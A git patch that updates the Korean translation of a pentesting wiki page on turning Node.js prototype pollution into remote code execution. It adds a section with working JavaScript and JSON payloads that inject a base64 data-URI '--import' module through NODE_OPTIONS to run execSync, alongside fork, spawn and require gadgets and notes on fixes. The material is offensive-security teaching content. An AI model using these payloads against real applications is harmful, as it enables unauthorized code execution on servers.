From f80e3042d203f9a5653492c1131d99c7204405c8 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 4 Aug 2025 14:16:49 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p --- .../prototype-pollution-to-rce.md | 95 ++++++++++++++----- 1 file changed, 71 insertions(+), 24 deletions(-) diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md index 68cd81c86..c655bc74e 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## Vulnerable Code +## 취약한 코드 실제 JS가 다음과 같은 코드를 사용하는 것을 상상해 보세요: ```javascript @@ -41,7 +41,7 @@ var proc = fork("a_file.js") **PP2RCE**는 **Prototype Pollution to RCE** (원격 코드 실행)을 의미합니다. -이 [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)에 따르면, **`child_process`**의 일부 메서드(예: `fork` 또는 `spawn` 등)를 사용하여 **프로세스가 생성**될 때, 새로운 env vars를 생성하기 위한 **프로토타입 오염 가젯**인 `normalizeSpawnArguments` 메서드가 호출됩니다: +이 [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)에 따르면, **`child_process`**의 어떤 메서드(예: `fork` 또는 `spawn` 등)를 사용하여 **프로세스가 생성**될 때, `normalizeSpawnArguments` 메서드를 호출하며, 이는 **새로운 env vars를 생성하기 위한 프로토타입 오염 가젯**입니다: ```javascript //See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686 @@ -61,17 +61,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution } } ``` -코드를 확인해보면 **`.env` 속성을** **오염시킴으로써** **`envPairs`**를 **독살**할 수 있는 것이 가능합니다. +코드를 확인해보면 **`envPairs`**를 **오염시켜** **`.env`** 속성을 통해 가능하다는 것을 알 수 있습니다. -### **`__proto__` 독살** +### **`__proto__` 오염** > [!WARNING] > **`child_process`** 라이브러리의 **`normalizeSpawnArguments`** 함수가 작동하는 방식 때문에, 프로세스에 **새로운 env 변수를 설정하기 위해** 무언가를 호출할 때 **무엇이든 오염시키기만 하면** 됩니다.\ > 예를 들어, `__proto__.avar="valuevar"`를 실행하면 프로세스는 `avar`라는 이름의 변수를 `valuevar` 값으로 가진 상태로 생성됩니다. > -> 그러나 **env 변수가 첫 번째가 되기 위해서는** **`.env` 속성을** **오염시켜야** 하며 (일부 방법에서만) 그 변수가 **첫 번째**가 됩니다 (공격을 허용함). +> 그러나 **env 변수가 첫 번째가 되기 위해서는** **`.env` 속성**을 **오염시켜야** 하며 (일부 방법에서만) 그 변수가 **첫 번째**가 됩니다 (공격을 허용함). > -> 그래서 다음 공격에서 **`NODE_OPTIONS`**는 **`.env`** 안에 **없습니다**. +> 그래서 다음 공격에서 **`NODE_OPTIONS`**는 **`.env`** 안에 없습니다. ```javascript const { execSync, fork } = require("child_process") @@ -122,9 +122,9 @@ var proc = fork("a_file.js") ``` ## PP2RCE via env vars + cmdline -이전과 유사한 페이로드가 [**이 글**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)에서 제안되었습니다. 주요 차이점은 다음과 같습니다: +이전과 유사한 페이로드가 [**이 글**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**에서** 제안되었습니다. 주요 차이점은 다음과 같습니다: -- nodejs **payload**를 파일 `/proc/self/environ`에 저장하는 대신, **`/proc/self/cmdline`**의 **argv0** 안에 저장합니다. +- nodejs **payload**를 파일 `/proc/self/environ`에 저장하는 대신, **`/proc/self/cmdline`**의 argv0에 저장합니다. - 그런 다음, **`NODE_OPTIONS`**를 통해 파일 `/proc/self/environ`을 요구하는 대신, **`/proc/self/cmdline`**을 요구합니다. ```javascript const { execSync, fork } = require("child_process") @@ -149,9 +149,50 @@ clone(USERINPUT) var proc = fork("a_file.js") // This should create the file /tmp/pp2rec ``` +## Filesystem-less PP2RCE via `--import` (Node ≥ 19) + +> [!NOTE] +> **Node.js 19**부터 CLI 플래그 `--import`를 `NODE_OPTIONS`를 통해 `--require`와 같은 방식으로 전달할 수 있습니다. `--require`와는 달리, `--import`는 **data-URI**를 이해하므로 공격자는 **파일 시스템에 대한 쓰기 권한이 전혀 필요하지 않습니다**. 이는 잠금된 또는 읽기 전용 환경에서 장치를 훨씬 더 신뢰할 수 있게 만듭니다. +> +> 이 기술은 2023년 5월 PortSwigger 연구에 의해 처음 공개적으로 문서화되었으며 이후 여러 CTF 챌린지에서 재현되었습니다. + +공격은 위에서 보여준 `--require /proc/self/*` 트릭과 개념적으로 동일하지만, 파일을 가리키는 대신 페이로드를 base64로 인코딩된 `data:` URL에 직접 삽입합니다: +```javascript +const { fork } = require("child_process") + +// Manual pollution +b = {} + +// Javascript that is executed once Node parses the import URL +const js = "require('child_process').execSync('touch /tmp/pp2rce_import')"; +const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`; + +b.__proto__.NODE_OPTIONS = `--import ${payload}`; +// any key that will force spawn (fork) – same as earlier examples +fork("./a_file.js"); +``` +취약한 merge/clone sink를 악용하는 방법은 페이지 상단에 나와 있습니다: +```javascript +USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}'); +clone(USERINPUT); + +// Gadget trigger +fork("./a_file.js"); +// → creates /tmp/pp2rce_import +``` +### 왜 `--import`가 도움이 되는가 +1. **디스크 상호작용 없음** – 페이로드는 프로세스 명령줄과 환경 내에서 완전히 이동합니다. +2. **ESM 전용 환경에서 작동** – `--import`는 ECMAScript 모듈을 기본으로 하는 최신 Node 릴리스에서 JavaScript를 미리 로드하는 표준 방법입니다. +3. **일부 `--require` 허용 목록 우회** – 몇몇 강화 라이브러리는 `--require`만 필터링하고 `--import`는 그대로 둡니다. + +> [!WARNING] +> `NODE_OPTIONS`에서 `--import` 지원은 최신 **Node 22.2.0** (2025년 6월)에서도 여전히 존재합니다. Node 코어 팀은 향후 데이터 URI를 제한하는 것에 대해 논의하고 있지만, 작성 시점에서는 완화 조치가 없습니다. + +--- + ## DNS 상호작용 -다음 페이로드를 사용하여 이전에 논의한 NODE_OPTIONS 환경 변수를 악용하고 DNS 상호작용을 통해 작동 여부를 감지할 수 있습니다: +다음 페이로드를 사용하여 이전에 논의한 NODE_OPTIONS 환경 변수를 악용하고 DNS 상호작용으로 작동 여부를 감지할 수 있습니다: ```json { "__proto__": { @@ -227,16 +268,16 @@ var proc = execFile("/usr/bin/node") // Windows - not working ``` -**`execFile`**가 작동하려면 **반드시 node를 실행해야** NODE_OPTIONS가 작동합니다.\ -**node**를 실행하지 않는 경우, 실행 중인 것을 **환경 변수를 사용하여 변경**할 수 있는 방법을 찾아야 합니다. +**`execFile`**가 작동하려면 **반드시 node**를 실행해야 NODE_OPTIONS가 작동합니다.\ +**node**를 실행하지 않는 경우, 실행 중인 것을 **환경 변수를 사용하여 실행 방식을 변경**할 수 있는 방법을 찾아야 합니다. -**다른** 기술들은 이 요구 사항 없이 **작동**합니다. 왜냐하면 **프로토타입 오염**을 통해 **실행되는 것**을 수정할 수 있기 때문입니다. (이 경우, `.shell`을 오염시킬 수 있더라도, 실행되는 것을 오염시킬 수는 없습니다). +**다른** 기술들은 이 요구 사항 없이 **작동**합니다. 왜냐하면 프로토타입 오염을 통해 **실행되는 것**을 **수정할 수 있기 때문입니다**. (이 경우, `.shell`을 오염시킬 수 있더라도, 실행되는 것을 오염시킬 수는 없습니다).
-fork 취약점 +fork exploitation ```javascript // environ trick - working // Working after kEmptyObject (fix) @@ -414,7 +455,7 @@ var proc = execSync("something")
-spawnSync 취약점 이용 +spawnSync 악용 ```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options @@ -463,7 +504,7 @@ var proc = spawnSync("something") ## 강제 스폰 -이전 예제에서는 가젯을 트리거하는 방법을 보았고, **`spawn`**을 호출하는 기능이 **존재해야** 한다는 것을 알았습니다 (무언가를 실행하기 위해 사용되는 모든 **`child_process`** 메서드는 이를 호출합니다). 이전 예제에서는 **코드의 일부**였지만, 코드가 **호출하지 않는다면** 어떻게 될까요? +이전 예제에서는 가젯을 트리거하는 방법을 보았고, **`spawn`**을 호출하는 기능이 **존재해야** 한다는 것을 알았습니다 (무언가를 실행하기 위해 사용되는 모든 **`child_process`** 메서드는 이를 호출합니다). 이전 예제에서는 **코드의 일부**였지만, 코드가 **호출하지 않는** 경우는 어떻게 될까요? ### require 파일 경로 제어 @@ -500,7 +541,7 @@ done ### 프로토타입 오염을 통한 require 파일 경로 설정 > [!WARNING] -> **이전 기술은** **사용자가 파일의 경로를 제어해야** 한다는 **전제 조건이 있습니다**. 하지만 이것이 항상 사실은 아닙니다. +> **이전 기술은** **사용자가 파일의 경로를 제어해야** 한다는 **전제가 필요합니다**. 하지만 이것이 항상 사실은 아닙니다. 그러나 코드가 프로토타입 오염 후에 require를 실행할 경우, 경로를 **제어하지 않더라도** 프로토타입 오염을 악용하여 **다른 경로를 강제로 지정할 수 있습니다**. 따라서 코드 라인이 `require("./a_file.js")` 또는 `require("bytes")`와 같더라도 **오염된 패키지를 require할 것입니다**. @@ -508,7 +549,7 @@ done - **시스템 내의 `.js` 파일을 찾습니다**. 이 파일이 **require될 때 `child_process`를 사용하여 무언가를 실행합니다**. - 공격하는 플랫폼에 파일을 업로드할 수 있다면, 그런 파일을 업로드할 수 있습니다. -- **경로를 오염시켜** `.js` 파일의 require 로드를 **강제로 실행**합니다. 이 파일은 child_process로 무언가를 실행할 것입니다. +- 경로를 오염시켜 **`.js` 파일의 require 로드를 강제합니다**. 이 파일은 child_process로 무언가를 실행할 것입니다. - **환경/명령줄을 오염시켜** child_process 실행 함수가 호출될 때 임의의 코드를 실행합니다 (초기 기술 참조). #### 절대 require @@ -556,7 +597,7 @@ fork("anything") #### 상대 경로 - 1 -만약 **상대 경로**가 절대 경로 대신 로드된다면, node가 **다른 경로를 로드**하도록 만들 수 있습니다: +**절대 경로** 대신 **상대 경로**가 로드되면, 노드가 **다른 경로를 로드**하도록 만들 수 있습니다: {{#tabs}} {{#tab name="exploit"}} @@ -598,7 +639,7 @@ fork("/path/to/anything") #### 상대 require - 2 {{#tabs}} -{{#tab name="익스플로잇"}} +{{#tab name="exploit"}} ```javascript // Create a file called malicious.js in /tmp // Contents of malicious.js in the other tab @@ -636,7 +677,7 @@ fork("/path/to/anything") {{#endtab}} {{#endtabs}} -#### 상대 require - 3 +#### Relative require - 3 이전과 유사하게, [**이 글**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs)에서 발견되었습니다. ```javascript @@ -665,12 +706,16 @@ require("./usage.js") ## Fixes & Unexpected protections -프로토타입 오염은 접근하는 객체의 **속성**이 **정의되지 않은** 경우에만 작동합니다. **코드**에서 해당 **속성**이 **값**으로 **설정**되면 **덮어쓸 수 없습니다**. +프로토타입 오염은 접근하는 객체의 **attribute**가 **undefined**일 때 작동합니다. 만약 **코드**에서 그 **attribute**에 **값**이 **설정**되어 있다면 **덮어쓸 수 없습니다**. -2022년 6월, [**이 커밋**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)에서 var `options`는 `{}` 대신 **`kEmptyObject`**입니다. 이는 **프로토타입 오염**이 **`options`**의 **속성**에 영향을 미치는 것을 방지합니다.\ -최소한 v18.4.0부터 이 보호가 **구현**되었으며, 따라서 `spawn` 및 `spawnSync` **익스플로잇**은 더 이상 작동하지 않습니다(옵션이 사용되지 않는 경우!). +2022년 6월 [**이 커밋**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)에서 var `options`는 `{}` 대신 **`kEmptyObject`**입니다. 이는 **RCE**를 얻기 위해 **`options`**의 **attributes**에 영향을 미치는 프로토타입 오염을 **방지**합니다.\ +최소한 v18.4.0부터 이 보호가 **구현**되었으며, 따라서 `spawn` 및 `spawnSync` **익스플로잇**은 더 이상 작동하지 않습니다 (옵션이 사용되지 않는 경우!). -[**이 커밋**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)에서는 vm 라이브러리의 **`contextExtensions`**의 **프로토타입 오염**이 **`{}`** 대신 **`kEmptyObject`**로 설정하여 **어느 정도 수정**되었습니다. +[**이 커밋**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)에서는 vm 라이브러리의 **`contextExtensions`**의 **prototype pollution**이 **`{}`** 대신 **`kEmptyObject`**로 설정하여 **어느 정도 수정**되었습니다. + +> [!INFO] +> **Node 20 (2023년 4월) 및 Node 22 (2025년 4월)**는 추가적인 강화 조치를 도입했습니다: 여러 `child_process` 헬퍼는 이제 참조로 사용하는 대신 **`CopyOptions()`**로 사용자 제공 `options`를 복사합니다. 이는 `stdio`와 같은 중첩 객체의 오염을 차단하지만, 위에서 설명한 `NODE_OPTIONS` / `--import` 트릭에 대해서는 **보호하지 않습니다** – 이러한 플래그는 여전히 환경 변수를 통해 수용됩니다. +> 완전한 수정은 부모 프로세스에서 전파될 수 있는 CLI 플래그를 제한해야 하며, 이는 Node Issue #50559에서 추적되고 있습니다. ### **Other Gadgets** @@ -682,6 +727,8 @@ require("./usage.js") - [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/) - [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) +- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem) +- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression) - [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution) {{#include ../../../banners/hacktricks-training.md}}